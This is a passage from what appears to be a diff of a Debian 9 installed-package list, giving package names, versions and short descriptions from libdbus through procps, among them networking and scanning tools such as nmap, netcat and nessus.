1.10.22-0+deb9u1 amd64 simple interprocess messaging system (library) + ii libdconf1 0.26.0-2+b1 amd64 simple configuration storage system - runtime library + ii libdebconfclient0 0.227 amd64 Debian Configuration Management System (C-implementation library) + ii libdevmapper-event1.02.1 2:1.02.137-2 amd64 Linux Kernel Device Mapper event support library + ii libdevmapper1.02.1 2:1.02.137-2 amd64 Linux Kernel Device Mapper userspace library + ii libdigest-hmac-perl 1.03+dfsg-1 all module for creating standard message integrity checks + ii libdiscover2 2.1.2-7.1 amd64 hardware identification library + ii libdns-export162 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 Exported DNS Shared Library + ii libdns162 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 DNS Shared Library used by BIND + ii libdpkg-perl 1.18.24 all Dpkg perl modules + ii libdrm-amdgpu1 2.4.74-1 amd64 Userspace interface to amdgpu-specific kernel DRM services -- runtime + ii libdrm-intel1 2.4.74-1 amd64 Userspace interface to intel-specific kernel DRM services -- runtime + ii libdrm-nouveau2 2.4.74-1 amd64 Userspace interface to nouveau-specific kernel DRM services -- runtime + ii libdrm-radeon1 2.4.74-1 amd64 Userspace interface to radeon-specific kernel DRM services -- runtime + ii libdrm2 2.4.74-1 amd64 Userspace interface to kernel DRM services -- runtime + ii libdumbnet1 1.12-7+b1 amd64 dumb, portable networking library -- shared library + ii libedit2 3.1-20160903-3 amd64 BSD editline and history libraries + ii libegl1-mesa 13.0.6-1+b2 amd64 free implementation of the EGL API -- runtime + ii libelf1 0.168-1 amd64 library to read and write ELF files + ii libepoxy0 1.3.1-2 amd64 OpenGL function pointer management library + ii liberror-perl 0.17024-1 all Perl module for error/exception handling in an OO-ish way + ii libestr0 0.1.10-2 amd64 Helper functions for handling strings (lib) + ii libevent-2.0-5 2.0.21-stable-3 amd64 Asynchronous event notification library + ii libexpat1 2.2.0-2+deb9u1 amd64 XML parsing C library - runtime library + ii libfakeroot 1.21-3.1 amd64 tool for simulating superuser privileges - shared libraries + ii libfastjson4 0.99.4-1 amd64 fast json library for C + ii libfbclient2 3.0.1.32609.ds4-14 amd64 Firebird client library + ii libfdisk1 2.29.2-1 amd64 fdisk partitioning library + ii libffi-dev 3.2.1-6 amd64 Foreign Function Interface library (development files) + ii libffi6 3.2.1-6 amd64 Foreign Function Interface library runtime + ii libfile-fcntllock-perl 0.22-3+b2 amd64 Perl module for file locking with fcntl(2) + ii libflac8 1.3.2-1 amd64 Free Lossless Audio Codec - runtime C library + ii libfltk-images1.3 1.3.4-4 amd64 Fast Light Toolkit - image loading support + ii libfltk1.3 1.3.4-4 amd64 Fast Light Toolkit - main shared library + ii libfontconfig1 2.11.0-6.7+b1 amd64 generic font configuration library - runtime + ii libfontenc1 1:1.1.3-1+b2 amd64 X11 font encoding library + ii libfreetype6 2.6.3-3.2 amd64 FreeType 2 font engine, shared library files + ii libfribidi0 0.19.7-1+b1 amd64 Free Implementation of the Unicode BiDi algorithm + ii libfuse2 2.9.7-1 amd64 Filesystem in Userspace (library) + ii libgail-common 2.24.31-2 amd64 GNOME Accessibility Implementation Library -- common modules + ii libgail18 2.24.31-2 amd64 GNOME Accessibility Implementation Library -- shared libraries + ii libgbm1 13.0.6-1+b2 amd64 generic buffer management API -- runtime + ii libgc1c2 1:7.4.2-8 amd64 conservative garbage collector for C and C++ + ii libgcc-6-dev 6.3.0-18 amd64 GCC support library (development files) + ii libgcc1 1:6.3.0-18 amd64 GCC support library + ii libgcrypt20 1.7.6-2+deb9u2 amd64 LGPL Crypto library - runtime library + ii libgdbm-dev 1.8.3-14 amd64 GNU dbm database routines (development files) + ii libgdbm3 1.8.3-14 amd64 GNU dbm database routines (runtime version) + ii libgdk-pixbuf2.0-0 2.36.5-2+deb9u1 amd64 GDK Pixbuf library + ii libgdk-pixbuf2.0-common 2.36.5-2+deb9u1 all GDK Pixbuf library - data files + ii libgeoip1 1.6.9-4 amd64 non-DNS IP-to-country resolver library + ii libgfortran3 6.3.0-18 amd64 Runtime library for GNU Fortran applications + ii libgif7 5.1.4-0.4 amd64 library for GIF images (library) + ii libgl1-mesa-dri 13.0.6-1+b2 amd64 free implementation of the OpenGL API -- DRI modules + ii libgl1-mesa-glx 13.0.6-1+b2 amd64 free implementation of the OpenGL API -- GLX runtime + ii libglapi-mesa 13.0.6-1+b2 amd64 free implementation of the GL API -- shared library + ii libglib2.0-0 2.50.3-2 amd64 GLib library of C routines + ii libglib2.0-data 2.50.3-2 all Common files for GLib library + ii libgmp10 2:6.1.2+dfsg-1 amd64 Multiprecision arithmetic library + ii libgnutls30 3.5.8-5+deb9u3 amd64 GNU TLS library - main runtime library + ii libgomp1 6.3.0-18 amd64 GCC OpenMP (GOMP) support library + ii libgpg-error0 1.26-2 amd64 library for common error values and messages in GnuPG components + ii libgpm2 1.20.4-6.2+b1 amd64 General Purpose Mouse - shared library + ii libgraphite2-3 1.3.10-1 amd64 Font rendering engine for Complex Scripts -- library + ii libgsasl7 1.8.0-8+b2 amd64 GNU SASL library + ii libgssapi-krb5-2 1.15-1+deb9u1 amd64 MIT Kerberos runtime libraries - krb5 GSS-API Mechanism + ii libgtk-3-0 3.22.11-1 amd64 GTK+ graphical user interface library + ii libgtk-3-bin 3.22.11-1 amd64 programs for the GTK+ graphical user interface library + ii libgtk-3-common 3.22.11-1 all common files for the GTK+ graphical user interface library + ii libgtk2.0-0 2.24.31-2 amd64 GTK+ graphical user interface library + ii libgtk2.0-bin 2.24.31-2 amd64 programs for the GTK+ graphical user interface library + ii libgtk2.0-common 2.24.31-2 all common files for the GTK+ graphical user interface library + ii libharfbuzz0b 1.4.2-1 amd64 OpenType text shaping engine (shared library) + ii libhogweed4 3.3-1+b2 amd64 low level cryptographic library (public-key cryptos) + ii libice6 2:1.0.9-2 amd64 X11 Inter-Client Exchange library + ii libicu-dev 57.1-6 amd64 Development files for International Components for Unicode + ii libicu57 57.1-6 amd64 International Components for Unicode + ii libidn11 1.33-1 amd64 GNU Libidn library, implementation of IETF IDN specifications + ii libidn2-0 0.16-1+deb9u1 amd64 Internationalized domain names (IDNA2008) library + ii libio-socket-inet6-perl 2.72-2 all object interface for AF_INET6 domain sockets + ii libip4tc0 1.6.0+snapshot20161117-6 amd64 netfilter libip4tc library + ii libip6tc0 1.6.0+snapshot20161117-6 amd64 netfilter libip6tc library + ii libiptc0 1.6.0+snapshot20161117-6 amd64 netfilter libiptc library + ii libisc-export160 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 Exported ISC Shared Library + ii libisc160 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 ISC Shared Library used by BIND + ii libisccc140 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 Command Channel Library used by BIND + ii libisccfg140 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 Config File Handling Library used by BIND + ii libisl15 0.18-1 amd64 manipulating sets and relations of integer points bounded by linear constraints + ii libitm1 6.3.0-18 amd64 GNU Transactional Memory Library + ii libjbig0 2.1-3.1+b2 amd64 JBIGkit libraries + ii libjpeg62-turbo 1:1.5.1-2 amd64 libjpeg-turbo JPEG runtime library + ii libjs-jquery 3.1.1-2 all JavaScript library for dynamic web applications + ii libjs-underscore 1.8.3~dfsg-1 all JavaScript's functional programming helper library + ii libjson-glib-1.0-0 1.2.6-1 amd64 GLib JSON manipulation library + ii libjson-glib-1.0-common 1.2.6-1 all GLib JSON manipulation library (common files) + ii libk5crypto3 1.15-1+deb9u1 amd64 MIT Kerberos runtime libraries - Crypto Library + ii libkeyutils1 1.5.9-9 amd64 Linux Key Management Utilities (library) + ii libklibc 2.0.4-9 amd64 minimal libc subset for use with initramfs + ii libkmod2 23-2 amd64 libkmod shared library + ii libkrb5-3 1.15-1+deb9u1 amd64 MIT Kerberos runtime libraries + ii libkrb5support0 1.15-1+deb9u1 amd64 MIT Kerberos runtime libraries - Support library + ii libksba8 1.3.5-2 amd64 X.509 and CMS support library + ii libkyotocabinet16v5 1.2.76-4.2+b1 amd64 Straightforward implementation of DBM - shared library + ii liblcms2-2 2.8-4 amd64 Little CMS 2 color management library + ii libldap-2.4-2 2.4.44+dfsg-5+deb9u1 amd64 OpenLDAP libraries + ii libldap-common 2.4.44+dfsg-5+deb9u1 all OpenLDAP common files for libraries + ii liblinear3 2.1.0+dfsg-2 amd64 Library for Large Linear Classification + ii libllvm3.9 1:3.9.1-9 amd64 Modular compiler and toolchain technologies, runtime library + ii liblocale-gettext-perl 1.07-3+b1 amd64 module using libc functions for internationalization in Perl + ii liblockfile-bin 1.14-1+b1 amd64 support binaries for and cli utilities based on liblockfile + ii liblogging-stdlog0 1.0.5-2+b2 amd64 easy to use and lightweight logging library + ii liblognorm5 2.0.1-1.1+b1 amd64 log normalizing library + ii liblsan0 6.3.0-18 amd64 LeakSanitizer -- a memory leak detector (runtime) + ii libltdl-dev 2.4.6-2 amd64 System independent dlopen wrapper for GNU libtool + ii libltdl7 2.4.6-2 amd64 System independent dlopen wrapper for GNU libtool + ii liblua5.2-0 5.2.4-1.1+b2 amd64 Shared library for the Lua interpreter version 5.2 + ii liblua5.3-0 5.3.3-1 amd64 Shared library for the Lua interpreter version 5.3 + ii liblvm2app2.2 2.02.168-2 amd64 LVM2 application library + ii liblvm2cmd2.02 2.02.168-2 amd64 LVM2 command library + ii liblwres141 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 Lightweight Resolver Library used by BIND + ii liblz4-1 0.0~r131-2+b1 amd64 Fast LZ compression algorithm library - runtime + ii liblzma5 5.2.2-1.2+b1 amd64 XZ-format compression library + ii liblzo2-2 2.08-1.2+b2 amd64 data compression library + ii libmagic-mgc 1:5.30-1+deb9u1 amd64 File type determination library using "magic" numbers (compiled magic file) + ii libmagic1 1:5.30-1+deb9u1 amd64 Recognize the type of data in a file using "magic" numbers - library + ii libmailutils5 1:3.1.1-1 amd64 GNU Mail abstraction library + ii libmariadbclient18 10.1.26-0+deb9u1 amd64 MariaDB database client library + ii libmnl-dev 1.0.4-2 amd64 minimalistic Netlink communication library (devel) + ii libmnl0 1.0.4-2 amd64 minimalistic Netlink communication library + ii libmount1 2.29.2-1 amd64 device mounting library + ii libmpc3 1.0.3-1+b2 amd64 multiple precision complex floating-point library + ii libmpdec2 2.4.2-1 amd64 library for decimal floating point arithmetic (runtime library) + ii libmpfr4 3.1.5-1 amd64 multiple precision floating-point computation + ii libmpx2 6.3.0-18 amd64 Intel memory protection extensions (runtime) + ii libmspack0 0.5-1+deb9u1 amd64 library for Microsoft compression formats (shared library) + ii libncurses5 6.0+20161126-1+deb9u1 amd64 shared libraries for terminal handling + ii libncurses5-dev 6.0+20161126-1+deb9u1 amd64 developer's libraries for ncurses + ii libncursesw5 6.0+20161126-1+deb9u1 amd64 shared libraries for terminal handling (wide character support) + ii libnet-dns-perl 1.07-1 all Perform DNS queries from a Perl script + ii libnet-ip-perl 1.26-1 all Perl extension for manipulating IPv4/IPv6 addresses + ii libnetfilter-conntrack3 1.0.6-2 amd64 Netfilter netlink-conntrack library + ii libnettle6 3.3-1+b2 amd64 low level cryptographic library (symmetric and one-way cryptos) + ii libnewt0.52 0.52.19-1+b1 amd64 Not Erik's Windowing Toolkit - text mode windowing with slang + ii libnfnetlink0 1.0.1-3 amd64 Netfilter netlink library + ii libnghttp2-14 1.18.1-1 amd64 library implementing HTTP/2 protocol (shared library) + ii libnginx-mod-http-echo 1.10.3-1+deb9u1 amd64 Bring echo and more shell style goodies to Nginx + ii libnl-3-200 3.2.27-2 amd64 library for dealing with netlink sockets + ii libnl-route-3-200 3.2.27-2 amd64 library for dealing with netlink sockets - route interface + ii libnotify4 0.7.7-2 amd64 sends desktop notifications to a notification daemon + ii libnpth0 1.3-1 amd64 replacement for GNU Pth using system threads + ii libnspr4 2:4.12-6 amd64 NetScape Portable Runtime Library + ii libnss3 2:3.26.2-1.1+deb9u1 amd64 Network Security Service libraries + ii libntlm0 1.4-8 amd64 NTLM authentication library + ii libogg0 1.3.2-1 amd64 Ogg bitstream library + ii libopts25 1:5.18.12-3 amd64 automated option processing library based on autogen + ii libopts25-dev 1:5.18.12-3 amd64 automated option processing library based on autogen + ii libp11-kit0 0.23.3-2 amd64 library for loading and coordinating access to PKCS#11 modules - runtime + ii libpam-modules 1.1.8-3.6 amd64 Pluggable Authentication Modules for PAM + ii libpam-modules-bin 1.1.8-3.6 amd64 Pluggable Authentication Modules for PAM - helper binaries + ii libpam-runtime 1.1.8-3.6 all Runtime support for the PAM library + ii libpam-systemd 232-25+deb9u1 amd64 system and service manager - PAM module + ii libpam0g 1.1.8-3.6 amd64 Pluggable Authentication Modules library + ii libpango-1.0-0 1.40.5-1 amd64 Layout and rendering of internationalized text + ii libpangocairo-1.0-0 1.40.5-1 amd64 Layout and rendering of internationalized text + ii libpangoft2-1.0-0 1.40.5-1 amd64 Layout and rendering of internationalized text + ii libpcap-dev 1.8.1-3 all development library for libpcap (transitional package) + ii libpcap0.8 1.8.1-3 amd64 system interface for user-level packet capture + ii libpcap0.8-dev 1.8.1-3 amd64 development library and header files for libpcap0.8 + ii libpci3 1:3.5.2-1 amd64 Linux PCI Utilities (shared library) + ii libpciaccess0 0.13.4-1+b2 amd64 Generic PCI access library for X + ii libpcre3 2:8.39-3 amd64 Old Perl 5 Compatible Regular Expression Library - runtime files + ii libpcsclite1 1.8.20-1 amd64 Middleware to access a smart card using PC/SC (library) + ii libperl5.24 5.24.1-3+deb9u2 amd64 shared Perl library + ii libpipeline1 1.4.1-2 amd64 pipeline manipulation library + ii libpixman-1-0 0.34.0-1 amd64 pixel-manipulation library for X and cairo + ii libpng16-16 1.6.28-1 amd64 PNG library - runtime (version 1.6) + ii libpopt0 1.16-10+b2 amd64 lib for parsing cmdline parameters + ii libpq-dev 9.6.6-0+deb9u1 amd64 header files for libpq5 (PostgreSQL library) + ii libpq5 9.6.6-0+deb9u1 amd64 PostgreSQL C client library + ii libprocps6 2:3.3.12-3 amd64 library for accessing process information from /proc + ii libproxy1v5 0.4.14-2 amd64 automatic proxy configuration management library (shared) + ii libpsl5 0.17.0-3 amd64 Library for Public Suffix List (shared libraries) + ii libpulse0 10.0-1+deb9u1 amd64 PulseAudio client libraries + ii libpython-stdlib 2.7.13-2 amd64 interactive high-level object-oriented language (default python version) + ii libpython2.7 2.7.13-2 amd64 Shared Python runtime library (version 2.7) + ii libpython2.7-minimal 2.7.13-2 amd64 Minimal subset of the Python language (version 2.7) + ii libpython2.7-stdlib 2.7.13-2 amd64 Interactive high-level object-oriented language (standard library, version 2.7) + ii libpython3-stdlib 3.5.3-1 amd64 interactive high-level object-oriented language (default python3 version) + ii libpython3.5 3.5.3-1 amd64 Shared Python runtime library (version 3.5) + ii libpython3.5-minimal 3.5.3-1 amd64 Minimal subset of the Python language (version 3.5) + ii libpython3.5-stdlib 3.5.3-1 amd64 Interactive high-level object-oriented language (standard library, version 3.5) + ii libquadmath0 6.3.0-18 amd64 GCC Quad-Precision Math Library + ii libreadline-dev 7.0-3 amd64 GNU readline and history libraries, development files + ii libreadline5 5.2+dfsg-3+b1 amd64 GNU readline and history libraries, run-time libraries + ii libreadline7 7.0-3 amd64 GNU readline and history libraries, run-time libraries + ii librest-0.7-0 0.8.0-2 amd64 REST service access library + ii librsvg2-2 2.40.16-1+b1 amd64 SAX-based renderer library for SVG files (runtime) + ii librsvg2-common 2.40.16-1+b1 amd64 SAX-based renderer library for SVG files (extra runtime) + ii librtmp1 2.4+20151223.gitfa8646d.1-1+b1 amd64 toolkit for RTMP streams (shared library) + ii libruby2.3 2.3.3-1+deb9u2 amd64 Libraries necessary to run Ruby 2.3 + ii libsasl2-2 2.1.27~101-g0780600+dfsg-3 amd64 Cyrus SASL - authentication abstraction library + ii libsasl2-modules 2.1.27~101-g0780600+dfsg-3 amd64 Cyrus SASL - pluggable authentication modules + ii libsasl2-modules-db 2.1.27~101-g0780600+dfsg-3 amd64 Cyrus SASL - pluggable authentication modules (DB) + ii libseccomp2 2.3.1-2.1 amd64 high level interface to Linux seccomp filter + ii libselinux1 2.6-3+b3 amd64 SELinux runtime shared libraries + ii libsemanage-common 2.6-2 all Common files for SELinux policy management libraries + ii libsemanage1 2.6-2 amd64 SELinux policy management library + ii libsensors4 1:3.4.0-4 amd64 library to read temperature/voltage/fan sensors + ii libsepol1 2.6-2 amd64 SELinux library for manipulating binary security policies + ii libserf-1-1 1.3.9-3 amd64 high-performance asynchronous HTTP client library + ii libsigsegv2 2.10-5 amd64 Library for handling page faults in a portable way + ii libslang2 2.3.1-5 amd64 S-Lang programming library - runtime version + ii libsm6 2:1.2.2-1+b3 amd64 X11 Session Management library + ii libsmartcols1 2.29.2-1 amd64 smart column output alignment library + ii libsndfile1 1.0.27-3 amd64 Library for reading/writing audio files + ii libsocket6-perl 0.27-1+b1 amd64 Perl extensions for IPv6 + ii libsoup-gnome2.4-1 2.56.0-2+deb9u1 amd64 HTTP library implementation in C -- GNOME support library + ii libsoup2.4-1 2.56.0-2+deb9u1 amd64 HTTP library implementation in C -- Shared library + ii libsqlite3-0 3.16.2-5 amd64 SQLite 3 shared library + ii libsqlite3-dev 3.16.2-5 amd64 SQLite 3 development files + ii libss2 1.43.4-2 amd64 command-line interface parsing library + ii libssh-4 0.7.3-2 amd64 tiny C SSH library (OpenSSL flavor) + ii libssh2-1 1.7.0-1 amd64 SSH2 client-side library + ii libssl-dev 1.1.0f-3+deb9u1 amd64 Secure Sockets Layer toolkit - development files + ii libssl-doc 1.1.0f-3+deb9u1 all Secure Sockets Layer toolkit - development documentation + ii libssl1.0.2 1.0.2l-2+deb9u1 amd64 Secure Sockets Layer toolkit - shared libraries + ii libssl1.1 1.1.0f-3+deb9u1 amd64 Secure Sockets Layer toolkit - shared libraries + ii libstdc++-6-dev 6.3.0-18 amd64 GNU Standard C++ Library v3 (development files) + ii libstdc++6 6.3.0-18 amd64 GNU Standard C++ Library v3 + ii libsvn1 1.9.5-1+deb9u1 amd64 Shared libraries used by Apache Subversion + ii libswitch-perl 2.17-2 all switch statement for Perl + ii libsystemd0 232-25+deb9u1 amd64 systemd utility library + ii libtasn1-6 4.10-1.1 amd64 Manage ASN.1 structures (runtime) + ii libtcl8.6 8.6.6+dfsg-1+b1 amd64 Tcl (the Tool Command Language) v8.6 - run-time library files + ii libtext-charwidth-perl 0.04-7+b5 amd64 get display widths of characters on the terminal + ii libtext-iconv-perl 1.7-5+b4 amd64 converts between character sets in Perl + ii libtext-wrapi18n-perl 0.06-7.1 all internationalized substitute of Text::Wrap + ii libthai-data 0.1.26-1 all Data files for Thai language support library + ii libthai0 0.1.26-1 amd64 Thai language support library + ii libtiff5 4.0.8-2+deb9u1 amd64 Tag Image File Format (TIFF) library + ii libtinfo-dev 6.0+20161126-1+deb9u1 amd64 developer's library for the low-level terminfo library + ii libtinfo5 6.0+20161126-1+deb9u1 amd64 shared low-level terminfo library for terminal handling + ii libtommath1 1.0-4 amd64 multiple-precision integer library [runtime] + ii libtool 2.4.6-2 all Generic library support script + ii libtsan0 6.3.0-18 amd64 ThreadSanitizer -- a Valgrind-based detector of data races (runtime) + ii libtxc-dxtn-s2tc 1.0+git20151227-2 amd64 Texture compression library for Mesa + ii libubsan0 6.3.0-18 amd64 UBSan -- undefined behaviour sanitizer (runtime) + ii libudev1 232-25+deb9u1 amd64 libudev shared library + ii libunistring0 0.9.6+really0.9.3-0.1 amd64 Unicode string library for C + ii libusb-0.1-4 2:0.1.12-30 amd64 userspace USB programming library + ii libustr-1.0-1 1.0.4-6 amd64 Micro string library: shared library + ii libutempter0 1.1.6-3 amd64 privileged helper for utmp/wtmp updates (runtime) + ii libuuid1 2.29.2-1 amd64 Universally Unique ID library + ii libuv1 1.9.1-3 amd64 asynchronous event notification library - runtime library + ii libvorbis0a 1.3.5-4 amd64 decoder library for Vorbis General Audio Compression Codec + ii libvorbisenc2 1.3.5-4 amd64 encoder library for Vorbis General Audio Compression Codec + ii libwayland-client0 1.12.0-1 amd64 wayland compositor infrastructure - client library + ii libwayland-cursor0 1.12.0-1 amd64 wayland compositor infrastructure - cursor library + ii libwayland-egl1-mesa 13.0.6-1+b2 amd64 implementation of the Wayland EGL platform -- runtime + ii libwayland-server0 1.12.0-1 amd64 wayland compositor infrastructure - server library + ii libwrap0 7.6.q-26 amd64 Wietse Venema's TCP wrappers library + ii libwxbase3.0-0v5 3.0.2+dfsg-4 amd64 wxBase library (runtime) - non-GUI support classes of wxWidgets toolkit + ii libwxgtk3.0-0v5 3.0.2+dfsg-4 amd64 wxWidgets Cross-platform C++ GUI toolkit (GTK+ runtime) + ii libx11-6 2:1.6.4-3 amd64 X11 client-side library + ii libx11-data 2:1.6.4-3 all X11 client-side library + ii libx11-xcb1 2:1.6.4-3 amd64 Xlib/XCB interface library + ii libxapian30 1.4.3-2 amd64 Search engine library + ii libxau6 1:1.0.8-1 amd64 X11 authorisation library + ii libxaw7 2:1.0.13-1+b2 amd64 X11 Athena Widget library + ii libxcb-dri2-0 1.12-1 amd64 X C Binding, dri2 extension + ii libxcb-dri3-0 1.12-1 amd64 X C Binding, dri3 extension + ii libxcb-glx0 1.12-1 amd64 X C Binding, glx extension + ii libxcb-present0 1.12-1 amd64 X C Binding, present extension + ii libxcb-render0 1.12-1 amd64 X C Binding, render extension + ii libxcb-shape0 1.12-1 amd64 X C Binding, shape extension + ii libxcb-shm0 1.12-1 amd64 X C Binding, shm extension + ii libxcb-sync1 1.12-1 amd64 X C Binding, sync extension + ii libxcb-xfixes0 1.12-1 amd64 X C Binding, xfixes extension + ii libxcb1 1.12-1 amd64 X C Binding + ii libxcomposite1 1:0.4.4-2 amd64 X11 Composite extension library + ii libxcursor1 1:1.1.14-1+b4 amd64 X cursor management library + ii libxdamage1 1:1.1.4-2+b3 amd64 X11 damaged region extension library + ii libxdmcp6 1:1.1.2-3 amd64 X11 Display Manager Control Protocol library + ii libxerces-c3.1 3.1.4+debian-2 amd64 validating XML parser library for C++ + ii libxext6 2:1.3.3-1+b2 amd64 X11 miscellaneous extension library + ii libxfixes3 1:5.0.3-1 amd64 X11 miscellaneous 'fixes' extension library + ii libxfont1 1:1.5.2-4 amd64 X11 font rasterisation library + ii libxft2 2.3.2-1+b2 amd64 FreeType-based font drawing library for X + ii libxi6 2:1.7.9-1 amd64 X11 Input extension library + ii libxinerama1 2:1.1.3-1+b3 amd64 X11 Xinerama extension library + ii libxkbcommon0 0.7.1-1 amd64 library interface to the XKB compiler - shared library + ii libxml-security-c17v5 1.7.3-4 amd64 C++ library for XML Digital Signatures (runtime) + ii libxml2 2.9.4+dfsg1-2.2+deb9u1 amd64 GNOME XML library + ii libxml2-dev 2.9.4+dfsg1-2.2+deb9u1 amd64 Development files for the GNOME XML library + ii libxmu6 2:1.1.2-2 amd64 X11 miscellaneous utility library + ii libxmuu1 2:1.1.2-2 amd64 X11 miscellaneous micro-utility library + ii libxpm4 1:3.5.12-1 amd64 X11 pixmap library + ii libxrandr2 2:1.5.1-1 amd64 X11 RandR extension library + ii libxrender1 1:0.9.10-1 amd64 X Rendering Extension client library + ii libxshmfence1 1.2-1+b2 amd64 X shared memory fences - shared library + ii libxslt1-dev 1.1.29-2.1 amd64 XSLT 1.0 processing library - development kit + ii libxslt1.1 1.1.29-2.1 amd64 XSLT 1.0 processing library - runtime library + ii libxt6 1:1.1.5-1 amd64 X11 toolkit intrinsics library + ii libxtables12 1.6.0+snapshot20161117-6 amd64 netfilter xtables library + ii libxtst6 2:1.2.3-1 amd64 X11 Testing -- Record extension library + ii libxv1 2:1.0.11-1 amd64 X11 Video extension library + ii libxxf86dga1 2:1.1.4-1+b3 amd64 X11 Direct Graphics Access extension library + ii libxxf86vm1 1:1.1.4-1+b2 amd64 X11 XFree86 video mode extension library + ii libyaml-0-2 0.1.7-2 amd64 Fast YAML 1.1 parser and emitter library + ii libyaml-dev 0.1.7-2 amd64 Fast YAML 1.1 parser and emitter library (development) + ii linux-base 4.5 all Linux image base package + ii linux-compiler-gcc-6-x86 4.9.51-1 amd64 Compiler for Linux on x86 (meta-package) + ii linux-headers-4.9.0-4-amd64 4.9.51-1 amd64 Header files for Linux 4.9.0-4-amd64 + ii linux-headers-4.9.0-4-common 4.9.51-1 all Common header files for Linux 4.9.0-4 + ii linux-headers-amd64 4.9+80+deb9u2 amd64 Header files for Linux amd64 configuration (meta-package) + ii linux-image-4.9.0-4-amd64 4.9.51-1 amd64 Linux 4.9 for 64-bit PCs + ii linux-image-amd64 4.9+80+deb9u2 amd64 Linux for 64-bit PCs (meta-package) + ii linux-kbuild-4.9 4.9.51-1 amd64 Kbuild infrastructure for Linux 4.9 + ii linux-libc-dev 4.9.51-1 amd64 Linux support headers for userspace development + ii locales 2.24-11+deb9u1 all GNU C Library: National Language (locale) data [support] + ii locate 4.6.0+git+20161106-2 amd64 maintain and query an index of a directory tree + ii login 1:4.4-4.1 amd64 system login tools + ii logrotate 3.11.0-0.1 amd64 Log rotation utility + ii lsb-base 9.20161125 all Linux Standard Base init script functionality + ii lsb-release 9.20161125 all Linux Standard Base version reporting utility + ii lsof 4.89+dfsg-0.1 amd64 Utility to list open files + ii lvm2 2.02.168-2 amd64 Linux Logical Volume Manager + ii m4 1.4.18-1 amd64 macro processing language + ii mailutils 1:3.1.1-1 amd64 GNU mailutils utilities for handling mail + ii mailutils-common 1:3.1.1-1 all Common files for GNU mailutils + ii make 4.1-9.1 amd64 utility for directing compilation + ii man-db 2.7.6.1-2 amd64 on-line manual pager + ii manpages 4.10-2 all Manual pages about using a GNU/Linux system + ii manpages-dev 4.10-2 all Manual pages about using GNU/Linux for development + ii mawk 1.3.3-17+b3 amd64 a pattern scanning and text processing language + ii mime-support 3.60 all MIME files 'mime.types' & 'mailcap', and support programs + ii mount 2.29.2-1 amd64 tools for mounting and manipulating filesystems + ii multiarch-support 2.24-11+deb9u1 amd64 Transitional package to ensure multiarch compatibility + ii mysql-common 5.8+1.0.2 all MySQL database common files, e.g. /etc/mysql/my.cnf + ii n2n 1.3.1~svn3789-5+b1 amd64 Peer-to-Peer VPN network daemon + ii nano 2.7.4-1 amd64 small, friendly text editor inspired by Pico + ii ncdu 1.12-1+b1 amd64 ncurses disk usage viewer + ii ncurses-base 6.0+20161126-1+deb9u1 all basic terminal type definitions + ii ncurses-bin 6.0+20161126-1+deb9u1 amd64 terminal-related programs and man pages + ii ncurses-term 6.0+20161126-1+deb9u1 all additional terminal type definitions + ii ndiff 7.40-1 all The Network Mapper - result compare utility + ii nessus 6.3.7 amd64 Nessus Scanner + ii net-tools 1.60+git20161116.90da8a0-1 amd64 NET-3 networking toolkit + ii netbase 5.4 all Basic TCP/IP networking system + ii netcat 1.10-41 all TCP/IP swiss army knife -- transitional package + ii netcat-traditional 1.10-41+b1 amd64 TCP/IP swiss army knife + ii netfilter-persistent 1.0.4+nmu2 all boot-time loader for netfilter configuration + ii nginx-common 1.10.3-1+deb9u1 all small, powerful, scalable web/proxy server - common files + ii nginx-light 1.10.3-1+deb9u1 amd64 nginx web/proxy server (basic version) + ii nmap 7.40-1 amd64 The Network Mapper + ii nodejs 4.8.2~dfsg-1 amd64 evented I/O for V8 javascript + ii notification-daemon 3.20.0-1+b1 amd64 daemon for displaying passive pop-up notifications + ii ntpdate 1:4.2.8p10+dfsg-3+deb9u1 amd64 client for setting system time from NTP servers + ii open-vm-tools 2:10.1.5-5055683-4+deb9u1 amd64 Open VMware Tools for virtual machines hosted on VMware (CLI) + ii open-vm-tools-dkms 2:10.1.5-5055683-4+deb9u1 all Open VMware Tools vmxnet kernel module (deprecated) + ii openjdk-8-jre 8u151-b12-1~deb9u1 amd64 OpenJDK Java runtime, using Hotspot JIT + ii openjdk-8-jre-headless 8u151-b12-1~deb9u1 amd64 OpenJDK Java runtime, using Hotspot JIT (headless) + ii openssh-client 1:7.4p1-10+deb9u1 amd64 secure shell (SSH) client, for secure access to remote machines + ii openssh-server 1:7.4p1-10+deb9u1 amd64 secure shell (SSH) server, for secure access from remote machines + ii openssh-sftp-server 1:7.4p1-10+deb9u1 amd64 secure shell (SSH) sftp server module, for SFTP access from remote machines + ii openssl 1.1.0f-3+deb9u1 amd64 Secure Sockets Layer toolkit - cryptographic utility + ii os-prober 1.76~deb9u1 amd64 utility to detect other OSes on a set of drives + ii passwd 1:4.4-4.1 amd64 change and administer password and group data + ii patch 2.7.5-1+b2 amd64 Apply a diff file to an original + ii pciutils 1:3.5.2-1 amd64 Linux PCI Utilities + ii perl 5.24.1-3+deb9u2 amd64 Larry Wall's Practical Extraction and Report Language + ii perl-base 5.24.1-3+deb9u2 amd64 minimal Perl system + ii perl-modules-5.24 5.24.1-3+deb9u2 all Core Perl modules + ii pgadmin3 1.22.2-1 amd64 graphical administration tool for PostgreSQL + ii pgadmin3-data 1.22.2-1 all graphical administration tool for PostgreSQL - documentation + ii pgagent 3.4.1-4 amd64 job scheduler for PostgreSQL + ii pinentry-curses 1.0.0-2 amd64 curses-based PIN or pass-phrase entry dialog for GnuPG + ii pkg-config 0.29-4+b1 amd64 manage compile and link flags for libraries + ii postgresql 9.6+181+deb9u1 all object-relational SQL database (supported version) + ii postgresql-9.6 9.6.6-0+deb9u1 amd64 object-relational SQL database, version 9.6 server + ii postgresql-client-9.6 9.6.6-0+deb9u1 amd64 front-end programs for PostgreSQL 9.6 + ii postgresql-client-common 181+deb9u1 all manager for multiple PostgreSQL client versions + ii postgresql-common 181+deb9u1 all PostgreSQL database-cluster manager + ii postgresql-contrib 9.6+181+deb9u1 all additional facilities for PostgreSQL (supported version) + ii postgresql-contrib-9.6 9.6.6-0+deb9u1 amd64 additional facilities for PostgreSQL + ii powermgmt-base 1.31+nmu1 all Common utils and configs for power management + ii procmail 3.22-25+deb9u1 amd64 Versatile e-mail processor + ii procps 2:3.3.12-3 